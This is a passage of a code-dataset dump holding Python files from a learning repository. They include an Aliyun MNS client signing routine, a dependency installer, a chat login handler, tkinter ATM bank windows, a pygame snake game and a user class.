LastSubscriptionURL:%s\" % \\\n (resp.get_requestid(), req.topic_name, req.prefix, req.ret_number, \\\n req.marker, len(resp.subscriptionurl_list), first_suburl, last_suburl))\n\n def set_subscription_attributes(self, req, resp):\n #check parameter\n SetSubscriptionAttrValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, \"/%s/%s/%s/%s?metaoverride=true\" % (URISEC_TOPIC, req.topic_name, URISEC_SUBSCRIPTION, req.subscription_name))\n req_inter.data = SubscriptionEncoder.encode(req, set=True)\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if self.logger:\n self.logger.info(\"SetSubscriptionAttributes RequestId:%s TopicName:%s SubscriptionName:%s\" % \\\n (resp.get_requestid(), req.topic_name, req.subscription_name))\n\n def get_subscription_attributes(self, req, resp):\n #check parameter\n GetSubscriptionAttrValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, \"/%s/%s/%s/%s\" % (URISEC_TOPIC, req.topic_name, URISEC_SUBSCRIPTION, req.subscription_name))\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if resp.error_data == \"\":\n subscription_attr = GetSubscriptionAttrDecoder.decode(resp_inter.data, req_inter.get_req_id())\n resp.topic_owner = subscription_attr[\"TopicOwner\"]\n resp.topic_name = subscription_attr[\"TopicName\"]\n resp.subscription_name = subscription_attr[\"SubscriptionName\"]\n resp.endpoint = subscription_attr[\"Endpoint\"]\n resp.filter_tag = subscription_attr[\"FilterTag\"] if \"FilterTag\" in subscription_attr.keys() else \"\"\n resp.notify_strategy = subscription_attr[\"NotifyStrategy\"]\n resp.notify_content_format = subscription_attr[\"NotifyContentFormat\"]\n resp.create_time = int(subscription_attr[\"CreateTime\"])\n resp.last_modify_time = int(subscription_attr[\"LastModifyTime\"])\n if self.logger:\n self.logger.info(\"GetSubscriptionAttributes RequestId:%s TopicName:%s SubscriptionName:%s\" % \\\n (resp.get_requestid(), req.topic_name, req.subscription_name))\n\n\n###################################################################################################\n#----------------------internal-------------------------------------------------------------------#\n def build_header(self, req, req_inter):\n if req.request_id is not None:\n req_inter.header[\"x-mns-user-request-id\"] = req.request_id\n if self.http.is_keep_alive():\n req_inter.header[\"Connection\"] = \"Keep-Alive\"\n if req_inter.data != \"\":\n #req_inter.header[\"content-md5\"] = base64.b64encode(hashlib.md5(req_inter.data).hexdigest())\n #req_inter.header[\"content-md5\"] = base64.b64encode(hashlib.md5(req_inter.data.encode(\"utf-8\")).hexdigest().encode(\"utf-8\")).decode(\"utf-8\")\n req_inter.header[\"content-md5\"] = base64.b64encode(hashlib.md5(req_inter.data).hexdigest().encode(\"utf-8\")).decode(\"utf-8\")\n req_inter.header[\"content-type\"] = \"text/xml;charset=UTF-8\"\n req_inter.header[\"x-mns-version\"] = self.version\n req_inter.header[\"host\"] = self.host\n req_inter.header[\"date\"] = time.strftime(\"%a, %d %b %Y %H:%M:%S GMT\", time.gmtime())\n req_inter.header[\"user-agent\"] = \"aliyun-sdk-python/%s(%s/%s;%s)\" % \\\n (mns_pkg_info.version, platform.system(), platform.release(), platform.python_version())\n req_inter.header[\"Authorization\"] = self.get_signature(req_inter.method, req_inter.header, req_inter.uri)\n if self.security_token != \"\":\n req_inter.header[\"security-token\"] = self.security_token\n\n def get_signature(self,method,headers,resource):\n content_md5 = self.get_element('content-md5', headers)\n content_type = self.get_element('content-type', headers)\n date = self.get_element('date', headers)\n canonicalized_resource = resource\n canonicalized_mns_headers = \"\"\n if len(headers) > 0:\n x_header_list = headers.keys()\n #x_header_list.sort()\n x_header_list = sorted(x_header_list)\n for k in x_header_list:\n if k.startswith('x-mns-'):\n canonicalized_mns_headers += k + \":\" + headers[k] + \"\\n\"\n string_to_sign = \"%s\\n%s\\n%s\\n%s\\n%s%s\" % (method, content_md5, content_type, date, canonicalized_mns_headers, canonicalized_resource)\n #hmac only support str in python2.7\n #tmp_key = self.access_key.encode('utf-8') if isinstance(self.access_key, unicode) else self.access_key\n tmp_key = self.access_key.encode('utf-8')\n h = hmac.new(tmp_key, string_to_sign.encode('utf-8'), hashlib.sha1)\n signature = base64.b64encode(h.digest())\n signature = \"MNS \" + self.access_id + \":\" + signature.decode('utf-8')\n return signature\n\n def get_element(self, name, container):\n if name in container:\n return container[name]\n else:\n return \"\"\n\n def check_status(self, req_inter, resp_inter, resp, decoder=ErrorDecoder):\n if resp_inter.status >= 200 and resp_inter.status < 400:\n resp.error_data = \"\"\n else:\n resp.error_data = resp_inter.data\n if resp_inter.status >= 400 and resp_inter.status <= 600:\n excType, excMessage, reqId, hostId, subErr = decoder.decodeError(resp.error_data, req_inter.get_req_id())\n if reqId is None:\n reqId = resp.header[\"x-mns-request-id\"]\n raise MNSServerException(excType, excMessage, reqId, hostId, subErr)\n else:\n raise MNSClientNetworkException(\"UnkownError\", resp_inter.data, req_inter.get_req_id())\n\n def make_recvresp(self, data, resp):\n resp.dequeue_count = int(data[\"DequeueCount\"])\n resp.enqueue_time = int(data[\"EnqueueTime\"])\n resp.first_dequeue_time = int(data[\"FirstDequeueTime\"])\n resp.message_body = data[\"MessageBody\"]\n resp.message_id = data[\"MessageId\"]\n resp.message_body_md5 = data[\"MessageBodyMD5\"]\n resp.next_visible_time = int(data[\"NextVisibleTime\"])\n resp.receipt_handle = data[\"ReceiptHandle\"]\n resp.priority = int(data[\"Priority\"])\n\n def make_peekresp(self, data, resp):\n resp.dequeue_count = int(data[\"DequeueCount\"])\n resp.enqueue_time = int(data[\"EnqueueTime\"])\n resp.first_dequeue_time = int(data[\"FirstDequeueTime\"])\n resp.message_body = data[\"MessageBody\"]\n resp.message_id = data[\"MessageId\"]\n resp.message_body_md5 = data[\"MessageBodyMD5\"]\n resp.priority = int(data[\"Priority\"])\n\n def process_host(self, host):\n if host.startswith(\"http://\"):\n if host.endswith(\"/\"):\n host = host[:-1]\n host = host[len(\"http://\"):]\n return host, False\n elif host.startswith(\"https://\"):\n if host.endswith(\"/\"):\n host = host[:-1]\n host = host[len(\"https://\"):]\n return host, True\n else:\n raise MNSClientParameterException(\"InvalidHost\", \"Only support http prototol. Invalid host:%s\" % host)\n\n @staticmethod\n def lower_header(header):\n lower_header = dict()\n for k, v in header.items():\n k = k.lower()\n lower_header[k] = v\n \n return lower_header\n" }, { "alpha_fraction": 0.5915201902389526, "alphanum_fraction": 0.6039296984672546, "avg_line_length": 23.794872283935547, "blob_id": "ae8b4e84c6cacdad37b3917defdae1ce2f99b739", "content_id": "a528656a1b6b0882914a74491390111045d7b465", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1143, "license_type": "permissive", "max_line_length": 73, "num_lines": 39, "path": "/py-basis/QQ简易版/install_pymysql_pycrypto.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 检测是否安装依赖,没有安装则提示安装。\n@Time : 2018/8/20 上午8:29\n@Author : 北冥神君\n@File : install_pymysql_pycrypto.py\n@Software: PyCharm\n\"\"\"\nimport os\n\n\ndef install_package(package_name):\n # 下载pip fake_useragent 包时 包名是:fake-useragent\n package_name = package_name.replace(\"_\", \"-\")\n p = os.popen(\"pip list --format=columns\") # 获取所有包名 直接用 pip list 也可获取\n pip_list = p.read() # 读取所有内容\n print(pip_list)\n if package_name in pip_list:\n print(\"已经安装{}\".format(package_name))\n return True\n else:\n print(\"没有安装{}!即将自动安装,请稍后\".format(package_name))\n p = os.popen(\"pip install {}\".format(package_name))\n if \"Success\" in p.read():\n print(\"安装{}成功!\".format(package_name))\n return True if \"Success\" in p.read() else False\n\n# 调用执行检测 如果没安装 则自动安装\n\n\ndef main():\n install_package('PyMySQL')\n install_package('pycrypto')\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5886076092720032, "alphanum_fraction": 0.594936728477478, "avg_line_length": 20, "blob_id": "196073f2d7d96a096209cfdf6c3a1efe067cf864", "content_id": "0bcf000fbf93c8f58e793f58019a03f8e5d25194", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 158, "license_type": "permissive", "max_line_length": 35, "num_lines": 7, "path": "/py-basis/银行系统/bank.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\r\nfrom singleton import singletonDeco\r\n\r\n@singletonDeco\r\nclass Bank(object):\r\n def __init__(self):\r\n self.usersDict = {}\r\n\r\n\r\n" }, { "alpha_fraction": 0.6006036400794983, "alphanum_fraction": 0.6177062392234802, "avg_line_length": 24.487178802490234, "blob_id": "3e80e2b0e9460e463fdceacd6649ab4c263bbf37", "content_id": "51c3ba900d7c6be3b8822f4a642943d926d20126", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1014, "license_type": "permissive", "max_line_length": 66, "num_lines": 39, "path": "/py-basis/QQ简易版/server/login.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 登陆处理\n@Time : 2018/8/19 下午9:34\n@Author : 北冥神君\n@File : login.py\n@Software: PyCharm\n\"\"\"\n\nfrom . import memory, common_handler\n\n\ndef login_handler(c, ad, msg):\n uname = msg[1].decode()\n upswd = msg[2].decode()\n\n res = memory.db.login_check(uname, upswd)\n\n if res == 'OK':\n nickname = memory.db.get_user_nickname(uname)[0].encode()\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.login_successful, nickname)\n c.send(serializeMessage)\n memory.online_user[c] = (uname, ad[0], ad[1])\n memory.window.add_user_list()\n else:\n result = b\"login fail\"\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.login_failed, result)\n c.send(serializeMessage)\n c.close()\n # memory.online_user.pop(c)\n\n\ndef logout_handler(c):\n del memory.online_user[c]\n memory.window.add_user_list()\n" }, { "alpha_fraction": 0.3804246485233307, "alphanum_fraction": 0.4160538613796234, "avg_line_length": 36.46613693237305, "blob_id": "1d19db412ba6221fdd8e0aba3b5ebf45f8787a60", "content_id": "68ab960f50da916770d00a322644cd9dc18feb4d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10500, "license_type": "permissive", "max_line_length": 101, "num_lines": 251, "path": "/py-basis/各组银行系统带界面/第一组/tkinter银行系统/Views/view_win2.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\r\n\r\nimport tkinter as tk\r\nfrom tkinter import ttk\r\nimport tkinter.messagebox # 这个是消息框,对话框的关键\r\nfrom Views.view_win3 import Input_money\r\nfrom Views.view_win4 import Input_info\r\nfrom Control.atm import ATM\r\n\r\n'''\r\n业务办理选择页面\r\n\r\n'''\r\n\r\n# 操作窗口\r\n\r\nclass Operation(tk.Toplevel):\r\n #初始化*******************************************************\r\n def __init__(self, parent, db, card):\r\n super().__init__()\r\n self.db = db\r\n self.card = card\r\n self.title('欢迎光临')\r\n self.parent = parent # 显式地保留父窗口\r\n self.type = 0 # 让子窗口判断操作类型\r\n self.message1 = tk.Variable() # 操作成功或失败提示\r\n self.money = tk.Variable() # 余额\r\n self.money.set(self.card.money)\r\n self.message1.set(\"欢迎使用ATM自动取款机\")\r\n\r\n self.photo = tkinter.PhotoImage(file=\"Views/Image/bg.png\") # 图片路径\r\n self.photo1 = tk.PhotoImage(file=\"Views/Image/bg1.png\")\r\n\r\n # 程序界面\r\n self.setupUI()\r\n\r\n\r\n # 点击取款按钮*************************************************\r\n def func1(self):\r\n self.message1.set(\"请操作\")\r\n self.type = 1\r\n input_money = Input_money(self, self.db, self.card)\r\n input_money.geometry(\"300x200+620+330\")\r\n self.wait_window(input_money) # 等待子窗口执行\r\n return\r\n\r\n\r\n # 点击存款按钮*************************************************\r\n def func2(self):\r\n self.message1.set(\"请输入\")\r\n self.type = 2\r\n input_info = Input_money(self, self.db, self.card)\r\n input_info.geometry(\"300x200+620+330\")\r\n self.wait_window(input_info) # 等待子窗口执行\r\n return\r\n\r\n\r\n # 点击转账按钮*************************************************\r\n def func3(self):\r\n self.message1.set(\"请输入\")\r\n self.type = 3\r\n input_info = Input_info(self, self.db, self.card)\r\n input_info.geometry(\"300x270+620+330\")\r\n self.wait_window(input_info) # 等待子窗口执行\r\n return\r\n\r\n\r\n # 点击修改密码按钮**********************************************\r\n def func4(self):\r\n self.message1.set(\"请输入\")\r\n self.type = 4\r\n input_info = Input_info(self, self.db, self.card)\r\n input_info.geometry(\"300x270+620+330\")\r\n self.wait_window(input_info) # 等待子窗口执行\r\n return\r\n\r\n\r\n # 锁卡、挂失***************************************************\r\n def func5(self):\r\n res = ATM.Lock_card(1, self.db, self.card.card_id)\r\n tkinter.messagebox.showinfo(title='提示', message=res)\r\n self.destroy()\r\n\r\n\r\n # 销户********************************************************\r\n def func6(self):\r\n res = ATM.delete_card(1, self.db, self.card.card_id)\r\n tkinter.messagebox.showinfo(title='提示', message=res)\r\n self.destroy()\r\n\r\n\r\n # 退出系统*****************************************************\r\n def func7(self):\r\n self.parent.destroy()\r\n # self.destroy()\r\n\r\n\r\n # 写账单日志时把操作状态码具体化***********************************\r\n def log_info(self, db, cardid, label):\r\n c = db.cursor()\r\n res = c.execute(\r\n \"select insert_time,type,money from loginfo where cardId = %s ORDER BY id DESC\" % cardid)\r\n loginfo = res.fetchall()\r\n for i in range(len(loginfo)):\r\n aa = \"\"\r\n if loginfo[i][1] == 1:\r\n aa = \"取款\"\r\n elif loginfo[i][1] == 2:\r\n aa = \"存款\"\r\n else:\r\n aa = \"转账\"\r\n label.insert(\"\", 0, text=loginfo[i][0], values=(aa, loginfo[i][2]))\r\n\r\n\r\n # 程序主页面****************************************************\r\n def setupUI(self):\r\n imgLabel = tkinter.Label(self,\r\n image=self.photo, width=800, height=600, compound=tkinter.CENTER,\r\n )\r\n imgLabel.place(x=0, y=40)\r\n\r\n title_label = tk.Label(self, text=\"欢迎使用ATM自动取款机\",\r\n textvariable=self.message1,\r\n fg=\"white\", # 自身的颜色\r\n font=(\"宋体\", 20),\r\n image=self.photo, width=800, height=60, compound=tkinter.CENTER,\r\n anchor=\"center\", # 位置n北,e东,s南,w西,c中间,nese\r\n )\r\n button1 = tk.Button(self, text=\"取款\",\r\n command=self.func1, # 点击时执行的函数\r\n image=self.photo1, width=110, height=40, compound=tkinter.CENTER,\r\n font=(\"宋体\", 14),\r\n fg=\"white\", # 自身的颜色\r\n )\r\n button2 = tk.Button(self, text=\"存款\",\r\n command=self.func2, # 点击时执行的函数\r\n image=self.photo1, width=110, height=40, compound=tkinter.CENTER,\r\n font=(\"宋体\", 14),\r\n fg=\"white\", # 自身的颜色\r\n )\r\n button3 = tk.Button(self, text=\"锁卡\",\r\n command=self.func5, # 点击时执行的函数\r\n image=self.photo1, width=110, height=40, compound=tkinter.CENTER,\r\n font=(\"宋体\", 14),\r\n fg=\"white\", # 自身的颜色\r\n )\r\n button4 = tk.Button(self, text=\"销户\",\r\n command=self.func6, # 点击时执行的函数\r\n image=self.photo1, width=110, height=40, compound=tkinter.CENTER,\r\n font=(\"宋体\", 14),\r\n fg=\"white\", # 自身的颜色\r\n )\r\n button5 = tk.Button(self, text=\"转账\",\r\n command=self.func3, # 点击时执行的函数\r\n image=self.photo1, width=110, height=40, compound=tkinter.CENTER,\r\n font=(\"宋体\", 14),\r\n fg=\"white\", # 自身的颜色\r\n )\r\n button6 = tk.Button(self, text=\"改密\",\r\n command=self.func4, # 点击时执行的函数\r\n image=self.photo1, width=110, height=40, compound=tkinter.CENTER,\r\n font=(\"宋体\", 14),\r\n fg=\"white\", # 自身的颜色\r\n )\r\n button7 = tk.Button(self, text=\"挂失\",\r\n command=self.func5, # 点击时执行的函数\r\n image=self.photo1, width=110, height=40, compound=tkinter.CENTER,\r\n font=(\"宋体\", 14),\r\n fg=\"white\", # 自身的颜色\r\n )\r\n button8 = tk.Button(self, text=\"补卡\",\r\n command=self.func7, # 点击时执行的函数\r\n image=self.photo1, width=110, height=40, compound=tkinter.CENTER,\r\n font=(\"宋体\", 14),\r\n fg=\"white\", # 自身的颜色\r\n )\r\n\r\n button11 = tk.Button(self, text=\"退出系统\",\r\n command=self.func7,\r\n image=self.photo1, width=300, height=40, compound=tkinter.CENTER,\r\n font=(\"宋体\", 14),\r\n fg=\"white\", # 自身的颜色\r\n )\r\n Label_text1 = tk.Label(self, text=\"账单日志\",\r\n font=(\"宋体\", 16),\r\n image=self.photo1, width=300, height=40, compound=tkinter.CENTER,\r\n fg=\"pink\", # 自身的颜色\r\n anchor=\"center\",\r\n )\r\n\r\n frame1 = tk.Frame(self, bg=\"white\", width=420, height=100)\r\n\r\n frame1_text2_title = tk.Label(frame1, text=\"余额:¥\",\r\n font=(\"宋体\", 14),\r\n bg=\"white\",\r\n fg=\"red\",\r\n anchor=\"center\", )\r\n frame1_text2 = tk.Label(frame1, text=\"0\",\r\n textvariable=self.money,\r\n font=(\"宋体\", 16),\r\n bg=\"white\",\r\n fg=\"red\",\r\n anchor=\"center\", )\r\n frame1_text1 = tk.Label(frame1, text=\"卡号: %s\" % self.card.card_id,\r\n font=(\"宋体\", 14),\r\n bg=\"white\",\r\n fg=\"orange\",\r\n anchor=\"center\", )\r\n\r\n tree = ttk.Treeview(self)\r\n tree[\"columns\"] = (\"操作\", \"金额\")\r\n # 设置列,现在还不显示\r\n tree.column(\"操作\", width=100)\r\n tree.column(\"金额\", width=100)\r\n\r\n # 设置表头\r\n tree.heading(\"操作\", text=\"操作\")\r\n tree.heading(\"金额\", text=\"金额\")\r\n\r\n # 添加数据\r\n self.log_info(self.db, self.card.card_id, tree)\r\n\r\n # tree.insert(\"\", 0, text=\"2018.10.10\", values=(\"取款\", \"200\"))\r\n\r\n\r\n # 滚动条\r\n s = tk.Scrollbar(self)\r\n s.pack(side=tkinter.RIGHT, fill=tkinter.Y)\r\n s.config(command=tree.yview)\r\n tree.config(yscrollcommand=s.set)\r\n\r\n frame1.place(x=200, y=100)\r\n frame1_text1.place(x=20, y=15)\r\n frame1_text2.place(x=90, y=58)\r\n frame1_text2_title.place(x=20, y=60)\r\n\r\n Label_text1.place(x=250, y=240)\r\n # Label_text2.place(x=350, y=60)\r\n tree.place(x=200, y=300)\r\n\r\n title_label.place(x=0, y=0)\r\n button1.place(x=40, y=100)\r\n button2.place(x=40, y=220)\r\n button3.place(x=40, y=340)\r\n button4.place(x=40, y=460)\r\n button5.place(x=650, y=100)\r\n button6.place(x=650, y=220)\r\n button7.place(x=650, y=340)\r\n button8.place(x=650, y=460)\r\n\r\n button11.place(x=250, y=550)\r\n" }, { "alpha_fraction": 0.5180768966674805, "alphanum_fraction": 0.546346127986908, "avg_line_length": 28.213483810424805, "blob_id": "ecab3df6d068d81db2628c24dcb8d2c416388df4", "content_id": "9d093abc842818b6999076618c12bc118f4ac58e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5592, "license_type": "permissive", "max_line_length": 116, "num_lines": 178, "path": "/py-basis/凯哥的贪吃蛇.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "from pygame.locals import *\nimport pygame\nimport sys\nimport time\nimport random\n\n\n# 初始化窗口\nclass Window(object):\n def __init__(self):\n # 初始化pygame\n pygame.init()\n # 刷新速度\n self.fpsClock = pygame.time.Clock()\n # 创建pygame显示层\n self.playSurface = pygame.display.set_mode((640, 480))\n # 设置标题\n pygame.display.set_caption('贪吃蛇')\n\n # 定义结束窗口\n def gameOver(self, color):\n # 设置字体\n gameOverFont = pygame.font.SysFont('Arial', 72)\n # 设置字体属性\n gameOverSurf = gameOverFont.render('Game Over', True, color)\n #\n gameOverRect = gameOverSurf.get_rect()\n # 设置字体位置\n gameOverRect.midtop = (320, 240)\n # 在窗口显示\n self.playSurface.blit(gameOverSurf, gameOverRect)\n # 刷新窗口\n pygame.display.flip()\n time.sleep(5)\n pygame.quit()\n sys.exit()\n\n\n# 定义snake类\n\n\nclass Snake(object):\n def __init__(self):\n # 初始化snake出现位置\n self.snakeHead = [100, 100]\n self.snakeBody = [[100, 100], [80, 100], [60, 100]]\n # 移动的方向\n self.direction = 'right'\n self.changeDirection = self.direction\n\n # 定义键盘事件\n def key_Event(self):\n # 检测键盘事件\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n elif event.type == KEYDOWN:\n # 判断键盘事件\n if event.key == K_RIGHT or event.key == ord('d'):\n self.changeDirection = 'right'\n if event.key == K_LEFT or event.key == ord('a'):\n self.changeDirection = 'left'\n if event.key == K_UP or event.key == ord('w'):\n self.changeDirection = 'up'\n if event.key == K_DOWN or event.key == ord('s'):\n self.changeDirection = 'down'\n if event.key == K_ESCAPE:\n pygame.event.post(pygame.event.Event(QUIT))\n\n # 移动\n def move(self):\n\n # 判断是否输入了当前移动方向的反方向\n if self.changeDirection == 'right' and not self.direction == 'left':\n self.direction = self.changeDirection\n elif self.changeDirection == 'left' and not self.direction == 'right':\n self.direction = self.changeDirection\n elif self.changeDirection == 'up' and not self.direction == 'down':\n self.direction = self.changeDirection\n elif self.changeDirection == 'down' and not self.direction == 'up':\n self.direction = self.changeDirection\n\n # 根据方向移动蛇头的坐标\n if self.direction == 'right':\n self.snakeHead[0] += 20\n elif self.direction == 'left':\n self.snakeHead[0] -= 20\n elif self.direction == 'up':\n self.snakeHead[1] -= 20\n elif self.direction == 'down':\n self.snakeHead[1] += 20\n\n def eat(self, food):\n self.snakeBody.insert(0, list(self.snakeHead))\n # 判断是否吃掉了food\n if self.snakeHead[0] == food.raspberryPosition[0] and self.snakeHead[1] == food.raspberryPosition[1]:\n x = random.randrange(1, 32)\n y = random.randrange(1, 24)\n food.raspberryPosition = [int(x * 20), int(y * 20)]\n else:\n self.snakeBody.pop()\n\n\n# 定义Food类\n\n\nclass Food(object):\n def __init__(self):\n # 出现位置\n self.raspberryPosition = [300, 300]\n\n #\n # 拓展\n #\n # 通过判断snakes的长度来调整游戏速度和food数量\n '''\n def add_food(self,obj1,obj2):\n num =len(obj2.snakeBody)\n if num>0 and num<10:\n obj1.fpsClock.tick(5)\n if num>=10 and num <20:\n obj1.fpsClock.tick(10)\n if num>=20:\n obj1.fpsClock.tick(13)\n '''\n\n\ndef main():\n # 定义颜色\n redColour = pygame.Color(255, 0, 0)\n blackColour = pygame.Color(0, 0, 0)\n whiteColour = pygame.Color(255, 255, 255)\n greyColour = pygame.Color(150, 150, 150)\n\n # 定义窗口,snake,food\n user_Interface = Window()\n snake = Snake()\n food = Food()\n # img=pygame.image.load(r'C:\\Users\\LAB\\Desktop\\1.jpg')\n while True:\n\n # 设置窗口背景色\n user_Interface.playSurface.fill(blackColour)\n # 设置snake和food的位置及颜色\n for position in snake.snakeBody:\n pygame.draw.rect(\n user_Interface.playSurface, whiteColour, Rect(\n position[0], position[1], 20, 20))\n pygame.draw.rect(user_Interface.playSurface, redColour, Rect(\n food.raspberryPosition[0], food.raspberryPosition[1], 20, 20))\n\n # 键盘事件\n snake.key_Event()\n # 移动snake\n snake.move()\n # 吃食物\n snake.eat(food)\n\n # 判断是否死亡\n if snake.snakeHead[0] > 620 or snake.snakeHead[0] < 0 or snake.snakeHead[1] > 460 or snake.snakeHead[1] < 0:\n user_Interface.gameOver(greyColour)\n\n else:\n for snakeBody in snake.snakeBody[1:]:\n if snake.snakeHead[0] == snakeBody[0] and snake.snakeHead[1] == snakeBody[1]:\n user_Interface.gameOver(greyColour)\n\n # 刷新界面\n pygame.display.flip()\n\n # food.add_food(user_Interface, snake)\n\n user_Interface.fpsClock.tick(5)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.4566548466682434, "alphanum_fraction": 0.4892039895057678, "avg_line_length": 34.96428680419922, "blob_id": "c570cf4dc015f408a90ded41a18fa0c5ca10ded3", "content_id": "1dfb324183d474ba3c84945616812fb43a7ab665", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3299, "license_type": "permissive", "max_line_length": 98, "num_lines": 84, "path": "/py-basis/各组银行系统带界面/第一组/tkinter银行系统/Views/view_win4.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\r\n\r\nimport tkinter as tk\r\nimport tkinter.messagebox #这个是消息框\r\nfrom Control.atm import ATM\r\n\r\n'''\r\n 转账、改密通用界面\r\n'''\r\nclass Input_info(tk.Toplevel):\r\n\r\n def __init__(self, parent,db,card):\r\n super().__init__()\r\n self.db = db\r\n self.card = card\r\n self.type = self.change_type(parent.type)\r\n self.title(\"操作\")\r\n self.parent = parent # 显式地保留父窗口\r\n self.entry1 = tk.StringVar() #\r\n self.entry2 = tk.StringVar() #\r\n\r\n self.photo = tkinter.PhotoImage(file=\"Views/Image/2.png\") # 图片路径\r\n self.photo1 = tk.PhotoImage(file=\"Views/Image/bg1.png\")\r\n\r\n self.text1,self.text2= self.change_type(self.parent.type)\r\n self.setupUI() #这一句写在最下面\r\n\r\n def change_type(self,type):\r\n if type == 3 :\r\n return \"对方账户:\" , \"金额:\"\r\n elif type == 4:\r\n return \"新的密码:\" , \"确认密码:\"\r\n\r\n #转账和改密\r\n def func1(self):\r\n # 转账\r\n if self.parent.type == 3:\r\n res = ATM.Transfer_money(1,self.db,self.card.card_id,\r\n self.entry1.get(),int(self.entry2.get()))\r\n if res == 1:\r\n self.parent.message1.set(\"转账成功\")\r\n money = int(self.parent.money.get()) - int(self.entry2.get())\r\n self.parent.money.set(money)\r\n else:\r\n self.parent.message1.set(res)\r\n self.destroy()\r\n # 改密\r\n elif self.parent.type == 4:\r\n if self.entry1.get() == self.entry2.get():\r\n res = ATM.Repasswd(1,self.db,self.card.card_id,self.entry1.get())\r\n self.parent.message1.set(res)\r\n self.destroy()\r\n else:\r\n self.parent.message1.set(\"两次密码不相同\")\r\n\r\n #程序主页面\r\n def setupUI(self):\r\n imgLabel = tkinter.Label(self,\r\n image=self.photo, width=300, height=270, compound=tkinter.CENTER,\r\n )\r\n imgLabel.place(x=0, y=0)\r\n\r\n text_label = tk.Label(self, text=self.text1,\r\n fg=\"white\", font=(\"宋体\", 11),\r\n image=self.photo1, width=80, height=25, compound=tkinter.CENTER\r\n )\r\n text_labe2 = tk.Label(self, text=self.text2,\r\n fg=\"white\", font=(\"宋体\", 11),\r\n image=self.photo1, width=80, height=25, compound=tkinter.CENTER\r\n )\r\n # 金额输入框\r\n entry1 = tk.Entry(self, textvariable=self.entry1, width=20,bd=5)\r\n entry2 = tk.Entry(self, textvariable=self.entry2, width=20,bd=5)\r\n\r\n button1 = tk.Button(self, text=\"确认\",command=self.func1,\r\n image=self.photo1, width=140, height=30, compound=tkinter.CENTER,\r\n font=(\"宋体\", 14),\r\n fg=\"white\", ) # 自身的颜色\r\n\r\n text_label.place(x=10, y=30)\r\n text_labe2.place(x=10, y=100)\r\n entry1.place(x=120, y=30)\r\n entry2.place(x=120, y=100)\r\n button1.place(x=120, y=170)" }, { "alpha_fraction": 0.5379310250282288, "alphanum_fraction": 0.5448275804519653, "avg_line_length": 22.5, "blob_id": "bd5cb79314f3d24d6cad4d4a5796f8c4380d6175", "content_id": "08670452c6a2224a28abb05785d0e0e252ab02c9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 145, "license_type": "permissive", "max_line_length": 39, "num_lines": 6, "path": "/py-basis/人射击子弹/box.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\r\n\r\nclass Box(object):\r\n def __init__(self, bullets, count):\r\n self.bullets = bullets\r\n self.count = count" }, { "alpha_fraction": 0.4746493995189667, "alphanum_fraction": 0.4875943958759308, "avg_line_length": 24.485713958740234, "blob_id": "c39c1b1980f060dda8d82d5af4252c3d57b1069d", "content_id": "683204b7448ef1c7144f6baa54d9fa3556f755aa", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1065, "license_type": "permissive", "max_line_length": 114, "num_lines": 35, "path": "/py-basis/各组银行系统带界面/第二组/ATM/user.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\n\r\n\"\"\"\r\n人\r\n类名:Person\r\n属性:姓名 身份证 电话号 卡号\r\n行为:开户 查询 取款 存款 转账 改密 锁定 解锁 补卡 销户 退出\r\n\"\"\"\r\n\r\n\r\nclass User(object):\r\n def __init__(self, record_file_id: str,\r\n name: str,\r\n card_number: int,\r\n id_number: str,\r\n address: str,\r\n phone_number: int):\r\n self.record_file_id = record_file_id\r\n self.name = name\r\n self.card_number = card_number\r\n self.id_number = id_number\r\n self.address = address\r\n self.phone_number = phone_number\r\n\r\n def __str__(self):\r\n return \"<档案号:%s,名字:%s,身份证号:%s,卡号:%d,住址:%s,联系电话:%d>\" % \\\r\n (self.record_file_id, self.name, self.id_number, self.card_number, self.address, self.phone_number)\r\n\r\n pass\r\n\r\n\r\nif __name__ == '__main__':\r\n per = User(\"123\", \"sad\", 123, \"1\", \"2\", 134)\r\n print(per)\r\n" }, { "alpha_fraction": 0.5610136389732361, "alphanum_fraction": 